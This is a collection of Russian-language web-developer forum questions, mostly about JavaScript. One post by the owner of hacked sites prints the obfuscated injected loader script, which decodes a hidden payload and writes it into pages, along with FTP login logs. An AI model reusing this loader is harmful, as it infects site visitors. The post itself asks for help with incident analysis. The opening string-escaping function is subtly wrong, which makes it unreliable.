exports.escapeStr = function(str) {
return str.replace(/[\\"']/g, "\\$&").replace(/[\n]/g, "\\n")
.replace(/[\r]/g, "\\r").replace(/\x00/g, "\\0");
};exports.escapeStr = function(str) {
return str.replace(/[\\"']/g, "\\$&").replace(/\n/g, "\\n")
.replace(/\r/g, "\\r").replace(/\x00/g, "\\0")
.replace(/\b/g, "\\b").replace(/\t/g, "\\t")
.replace(/\x32/g, "\\Z") // \Z == ASCII 26
.replace(/_/g, "\\_").replace(/%/g, "\\%");
};
Взлом сайтов. Вставлен произвольный код?
Добрый день!
На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.
Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>
Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.
В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).
Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
SSH закрыт фаерволом для всех, кроме меня.
Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
Сервисы для отправления и получения сайтом sms/mms?
Каким образом можно организовать отправление и, что самое важное, получение sms и mms сайтом?
Есть sms.ru, но он может только отправлять и только sms.
Взаимодействие между замыканиями в JavaScript?
Есть замыкания:
(function () {
// do something
})()
(function () {
// do another thing
}) ()
Как бы вы организовали взаимодействие между объектами в этих замыканиях?
Собственно, вопрос возникает при использовании jQuery в больших проектах… вот есть, к примеру, диалоговое окно на jQuery UI. Но это как бы частный случай общей проблемы.
Обычно у меня это выглядит так:
<div id="dialog">
<p>something</p>
</div>
<button id="show_dialog_btn">Show Dialog</button>
<script>
jQuery(function ($) {
$("#dialog").dialog({
куча параметров,
ну просто тьма всяких настроек
и разные колбэки,
buttons: {
OK: function () {
// что-нибудь родить....
}
}
});
$("#show_dialog_btn").click(function () {
$("#dialog").dialog('open');
});
});
</script>
Диалоговое окно в этом случае, фактически состоит из НТМЛ разметки и джаваскрипт кода. Для простоты опустим ЦСС. Теперь, чтобы создать это же окно на другой странице, нужно либо копировать либо… А вот тут начинаются сложности… Если параметры окна зависят от каких-либо параметров в текущем замыкании, Допустим оно по нажатию кнопки Ок, должна быть вызвана «местная» для замыкания функция. Как быть?
(function () {
// do something
})()
(function () {
// do another thing
}) ()<div id="dialog">
<p>something</p>
</div>
<button id="show_dialog_btn">Show Dialog</button>
<script>
jQuery(function ($) {
$("#dialog").dialog({
куча параметров,
ну просто тьма всяких настроек
и разные колбэки,
buttons: {
OK: function () {
// что-нибудь родить....
}
}
});
$("#show_dialog_btn").click(function () {
$("#dialog").dialog('open');
});
});
</script>
JavaScript: событие — появление элемента в области видимости. Как?
В фейсбуке лента новостей, при прокрутке страницы вниз, дозагружается сама.
Здесь вот тоже так же: nebo-v-almazah.ru/earrings
Что-то заработался и не могу никак понять как мне это сделать без постоянной проверки через setInterval()
Может что-то такое есть в jQuery?
Отправка булевых значений в запросах jQuery.ajax()
$.ajax({
url : uri,
type : 'post',
data : {someBooleanVar1: false, subVar: {someBooleanVar2: true}}
});
Проблема в том, что сервер получит переменные someBooleanVar1 и someBooleanVar2 в виде строк «false» и «true», а не «0» и «1».
Вопрос в том, есть ли в jQuery какой-то параметр или метод автоматизирующий конвертацию булевых значений в 0/1? Ну или если средствами jQuery такое не реализовать, то можеть кто-нибудь знает простенький способ обойти рекурсивно объект заменив boolean на number.
Спасибо!
url : uri,
type : 'post',
data : {someBooleanVar1: false, subVar: {someBooleanVar2: true}}
});
HTML5 анимация в canvas на JavaScript
Каким образом реализовывать анимацию на canvas в HTML5?
Просто задать интервал времени, через который каждый раз будет вызываться функция, которая в свою очередь будет заново прорисовывать содержимое canvas, или есть лучший способ?
Безопасный кроссдоменный обмен данными между AJAX и PHP
На одном сервере лежит PHP скрипт, на другом есть сайт, использующий AJAX. Как передавать между ними данные, чтобы гарантировать конфеденциальность и невозможность подделывания (вместо AJAX может быть и Flash, и обычные GET/POST запросы — на сокетах то просто, а нужно вот так вот)?
Единственное, что приходит в голову, это дополнительный скрипт ПХП и сокеты + SSL. Но это не очень удобно (т.к. может использоваться флеш без ПХП). Использование секретных ключей не кажется мне безопасным — флеш или яваскрипт легко стянуть и подстмотреть всю информацию. RSA — в одну сторону отправлю, но в обратную опять же — можно подсмотреть секретный ключ.
Какие есть варианты?
Изучение серверного JavaScript
В последнее время все чаще JavaScript появляется на стороне сервера — Node.js, views в couchDB. Подавляющее большинство учебников, уроков и примеров по JS ориентированы исключительно на клиентскую часть, в лучшем случае классические фолианты вроде Флэнагана подробно рассматривают общий синтаксис и структуры языка. Есть ли уже полноценные книги или хотя бы толковые наборы уроков и примеров по серверному JavaScript? Можно на английском.
Регулярные выражения, использующие lookbehind, на языке JavaScript. Есть ли готовый код, решающий эту проблему раз и навсегда?
Как известно, на языке JavaScript вам не удастся попросту записать на языке регулярных выражений нечто подобное:someString.replace(/(?<!([abcdef]))gh/, …)
Не удастся потому, что в джаваскрипте нет учёта символов, предшествующих найденному выражению, то есть нет того, что называется «lookbehind assertions» — уж не знаю, есть ли устоявшийся термин для этого кода («(?<!……)») на русском языке.
Естественно, что программисты, использующие JavaScript, выработали целый ряд приёмов, позволяющих обойти этот недостаток. (Вон там перечислены многие такие трюки, например.)
Сейчас меня интересует кое-что другое, однако же. Не было ли в истории открытого кода каких-нибудь попыток окончательно решить эту проблему раз и навсегда — например, портировав библиотеку PCRE на язык JavaScript целиком?
Вопрос может показаться довольно дерзким по своему замаху, я знаю; однако, в конце концов, в истории не раз случались масштабные (и успешные!) попытки портировать или эмулировать на JavaScript то да сё; например, эмулятор Commodore 64 (о котором я упоминал на Хабрахабре прошлой зимою), или реализация многих функций PHP на JavaScript с открытым кодом, и так далее. Вдруг и с PCRE что-то подобноекому-нибудь удалось достигнуть, а я просто не знаю?
Опять же и попытки добавить в JavaScript новые флаги и элементы регулярных выражений также производились — XRegExp, например. Правда, в нём нету lookbehind, к сожалению.
Влияние JavaScript переадресации на поисковых ботов и индексирование сайта?
Есть две страницы с разными url, но содержание на них примерно одно и тоже. На одной активно используется JS+ajax, а другая адаптирована для просмотра пользователей без JavaScript, и для ботов.
Изначально грузится страница для людей без JS (которая для ботов), далее если у пользователя включена поддержка JS, то он перенаправляется средствами JS на другую страницу (адаптированную для активного использования JS).
Вопрос можно ли так делать безболезненно для индексации сайта и не повлияет ли это негативно на выдачу сайта в в поисковых системах?
Использование общего localStorage для поддоменов?
Здравствуйте. Обращаюсь за советом. Стоит задача — не гонять данные через cookies постоянно на сервер, а хранить их в localStorage и иметь к ним доступ через JavaScript.
Проблема в том, что localStorage даёт доступ только для конкретного адреса. То есть для адресов:
sub.domain.ru
sub2.domain.ru
данные будут разные. Есть ли какой-то способ объединить данные?
Пробовал вариант с iframe:
var ifr = document.createElement('iframe');<br/>
ifr.src = 'domain.ru/localstorage.html';<br/>
ifr.name = 'localStorageIframe';<br/>
document.body.appendChild( ifr );<br/>
после чего обращение к данным (и их сохранение) шло через window.frames[«localStorageIframe»].localStorage[«lastseen»]
Но это не дало результата — данные по-прежнему разные для разных поддоменов.
Есть ли у кого мысли, как это реализовать?
var ifr = document.createElement('iframe');<br/>
ifr.src = 'domain.ru/localstorage.html';<br/>
ifr.name = 'localStorageIframe';<br/>
document.body.appendChild( ifr );<br/>
Аналог Панорамио — проблема с картой
Задача — выводить на карте свой слой с фотографиями, изменяемый при увеличение или уменьшении карты — очень похоже на то, что делает панарамио.
Вариант использовать через апи маркеры отпадает сам собой.
Уже понятно, что на серверной стороне нужно генерить тайлы 256 на 256 пикселей с превьюшками фоток. Из этого примера стало понятно как эти тайлы накладывать. Но есть главная проблема — как обрабатывать события мыши при взаимодействии с наложенными фотками.
Буду благодарен за любые идеи!
Линии переменной толщины в HTML5 Canvas
Существует ли JS-библиотека, умеющая рисовать по canvas-у линии переменной толщины?
Ну то есть например: в начале толщина 3px, в конце 5px, и чтобы она плавно менялась вдоль всей линии.
Для прямых это, в принципе, реализовать не очень сложно. А вот для кривых Безье решение нетривиально.
javascript replace all
Иногда в исходном коде некоторых библиотек, написанных людьми грамотными, встречается конструкция string.split(find).join(replaceWith);
Чем это лучше обычного replace?
Асинхронная загрузка XML и Google Maps в jQuery
Ситуация: загружаются XML-файл и карты Гугла, чтобы данные из XML на ней отобразить. Делается всё асинхронно, требуется отследить, когда оба запроса выполнены.
Единственный простой способ, который я нашёл — Deferred objects в jQuery.
Пишем
function loadXML() {
return $.ajax({ url: 'data.xml', dataType: 'xml' });
}
Возвращаемый объект засовываем в $.when
$.when( loadXML(), ... ).then(function(){
doSomethind();
});
Проблемы возникают с загрузкой карты. Гугл предлагает следующий код для асинхронной загрузки:
function loadScript() {
var script = document.createElement("script");
script.type = "text/javascript";
script.src = "http://maps.google.com/maps/api/js?sensor=false&callback=initialize";
document.body.appendChild(script);
}
Хочется знать, когда скрипт будет загружен и произойдёт обращение к initialize(). Первая мысль — запихать в initialize() ручное создание deferred-объекта и возвращать .promise(), но непонятно, что же добавить в $.when, чтобы тот сработал после того, как все методы API карт стали доступны.
Спасибо.
return $.ajax({ url: 'data.xml', dataType: 'xml' });
}
doSomethind();
});
var script = document.createElement("script");
script.type = "text/javascript";
script.src = "http://maps.google.com/maps/api/js?sensor=false&callback=initialize";
document.body.appendChild(script);
}
1C события
Здравствуйте, к сожалению, пришлось столкнуться с 1С (:.
Есть textarea (html), подгружается в 1С. Мне надо как-то транслировать события onClick, onBlur,… в 1С и обрабатывать на стороне 1С их скриптами.
Т.е. я могу из 1C через eval подписаться на них, но тогда обработка будет на стороне js и только js-кодом. Возможно ли то, что я хочу?
— Версия последняя 8.2. Я сам просто 1с не знаю, моя задача — js. Но в данном вопросе без знания 1с не обойтись.
У меня есть форма, там есть какое-то поле, для него я определяю onClick:
Procedure ПолеHTMLДокумента1onclick(Control, pEvtObj)
сообщить(test);
EndProcedure
Так вот, мне надо из js вызвать это событие onclick. Т.е. сэмулировать, чтобы на стороне 1с оно обработалось и вывело 'test'.
сообщить(test);
EndProcedure
Как залочить файл в JScript(WSH)?
Хочу блокировать файл с параметрами на время исполнения, чтобы при обращении к нему был отказ в доступе. Пробовал так:
var fso = new ActiveXObject('Scripting.FileSystemObject');
var Lockeds = new ActiveXObject("Scripting.Dictionary");
function LockFile(path) {
if (!Lockeds.Exists(path)) {
//открываю указанный файл в режиме добавления содержимого, и не закрываю его
Lockeds.Add(path, fso.OpenTextFile(path, 8));
}
}
function UnLockFile(path) {
if (Lockeds.Exists(path)) {
//Закрываю файл
Lockeds.Item(path).Close();
Lockeds.Remove(path);
}
}
, но не помогает, к файлу все равно можно получить доступ на чтение.
Цель: исключить возможность одновременно работы более одной копии скрипта.
Делать запись, например, в лог не вариант, т.к. при сбое питания или перезагрузке не будет сделана запись об окончании работы.
var fso = new ActiveXObject('Scripting.FileSystemObject');
var Lockeds = new ActiveXObject("Scripting.Dictionary");
function LockFile(path) {
if (!Lockeds.Exists(path)) {
//открываю указанный файл в режиме добавления содержимого, и не закрываю его
Lockeds.Add(path, fso.OpenTextFile(path, 8));
}
}
function UnLockFile(path) {
if (Lockeds.Exists(path)) {
//Закрываю файл
Lockeds.Item(path).Close();
Lockeds.Remove(path);
}
}
Cross Domain XmlHttpRequest
Добрый день, друзья.
Целый день сегодня мучаюсь с вышеозначенной темой. Изначальная задача:
Выполняясь на site.com отправить POST запрос (даже ответ не обязательно получать) на xxx.site.com. В крайнем случае готов ограничиться браузером Google Chrome.
Казалось бы, задача уже не нова, написана куча материалов на тему, но что-то ничего не срабатывает…
Итак, что я уже попробовал:
- подменить document.domain перед отправкой. Как оказалось, менять с xxx.site.com на site.com можно, а вот обратно — никак...
- создать iframe с src=«xxx.site.com», а затем внутри него добавить в дом модель тег script, который будет содержать в себе логику по отправлению XmlHttpRequest. И вот этот вариант уже почти-почти сработал, как по непонятным мне причинам xhr.readystatechange вызывается один раз и readyState=1… Код примерно такой:
var iframe = $('<iframe src=«xxx.site.com» style=«display:none;»></iframe>').appendTo(document.body);
var iDoc = iframe.get(0).contentDocument;
var script = iDoc.createElement(«script»);
script.setAttribute(«type», «text/javascript»);
script.innerHTML =
«function postIt() {» +
«var xhr = new XMLHttpRequest();» +
«xhr.onreadystatechange = function(data) {» +
«alert(xhr.readyState);» +
«if (xhr.readyState == 4) {» +
" if (xhr.status == 200) {" +
" alert(data.toString());" +
" } else {" +
" alert(xhr.error);" +
" }" +
"}};" +
«var url = \»xxx.site.com\";" +
«var postParams = \»a=1&b=1\"" +
«xhr.open(\»POST\", url, true);" +
«xhr.setRequestHeader(\»Content-Type\", \«application/x-www-form-urlencoded;\»);" +
«xhr.send(postParams);» +
"}" +
«postIt();»;
iDoc.body.appendChild(script);
* This source code was highlighted with Source Code Highlighter.
- Также рассмотрел способ с YQL — не подошло
Какие есть еще идеи как это побороть?
var iframe = $('<iframe src=«xxx.site.com» style=«display:none;»></iframe>').appendTo(document.body);
var iDoc = iframe.get(0).contentDocument;
var script = iDoc.createElement(«script»);
script.setAttribute(«type», «text/javascript»);
script.innerHTML =
«function postIt() {» +
«var xhr = new XMLHttpRequest();» +
«xhr.onreadystatechange = function(data) {» +
«alert(xhr.readyState);» +
«if (xhr.readyState == 4) {» +
" if (xhr.status == 200) {" +
" alert(data.toString());" +
" } else {" +
" alert(xhr.error);" +
" }" +
"}};" +
«var url = \»xxx.site.com\";" +
«var postParams = \»a=1&b=1\"" +
«xhr.open(\»POST\", url, true);" +
«xhr.setRequestHeader(\»Content-Type\", \«application/x-www-form-urlencoded;\»);" +
«xhr.send(postParams);» +
"}" +
«postIt();»;
iDoc.body.appendChild(script);
* This source code was highlighted with Source Code Highlighter.
Сертификация по фронт-энд технологиям?
Всем привет.
Есть возможность получить какие-то дипломы, аттестаты, сертификаты и прочие «корочки» по html\css\js\ проектированию интерфейсов и так далее?
В Украине ничего такого не видел.
Спасибо.
Opera не права? (вызов apply)
Вот в этом примере Opera 11.01 зацикливается, т.е. трейсер никогда не выйдет из цикла. Chrome и Firefox отработали нормально.
У Opera цепочка arguments.callee.caller.caller.caller… всегда указывает на arguments.callee (arguments.callee == arguments.callee.caller). Ссылка на тест
Объясните, может я в чем-то не прав или это баг?
Насколько сейчас актуальна поддержка браузеров без поддержки Javascript
Смотрю статистику сайтов, в частности, долю браузеров с поддержкой javascript. На данный момент, везде цифра колеблется в районе 99,9%. Напрашивается вопрос, насколько вообще в данный момент актуально тратить силы на реализацию дублирующего функционала для работы браузеров без js, если доля таковых на порядок меньше даже доли IE6?
Конечно, я не говорю сейчас о сервисах с милионной посещаемостью, где любая десятая доля – это уже десятки тысяч человек. Вопрос относится скорее к среднестатистическим проектам, где посещаемость 0-5000 человек. Побродив по рунету в режиме отключенного js, встречал где-то 50 на 50 сайты, поддерживающих отключенный js и не поддерживающих.
JS карта с функционалом гуглокарт?
В одном из проектов использовали скрипт карты для того что-бы показать в каких регионах России находятся дилеры компании. Не предусмотрели что этих дилеров может стать очень много, и теперь на многих маленьких клочках карты находится несколько точек, что очень некрасиво:

Поэтому интересует, встречал ли кто-нибудь какое-то подобие гуглокарт на JS — а именно нужна возможность нанесения на карту меток и возможность зума карты.
Apache + nodejs
Добрый день.
Поставил nodejs, сервер прослушивает 8000 порт. Все отлично работает при http запросе к mydomain.ru:8000
Подскажите что нужно сделать чтоб при обращении к nodejs.mydomain.ru запросы сразу (не mod_rewrite) уходили на mydomain.ru:8000
Спасибо.
Некорректный скрипт для закрытия блока
Здравствуйте! Подскажите, пожалуйста, как правильно прописать скрипт для кнопки закрытия попап-окна в данном коде?
Сейчас при раскрытии окна не вылезает крестик закрытия под назначенным классом .close-wheel, так что закрыть этот блок невозможно и выйти обратно на сайт нельзя.
За "крестик" отвечает участок кода в самом низу под //Скрыть блок
Что и где здесь не так?
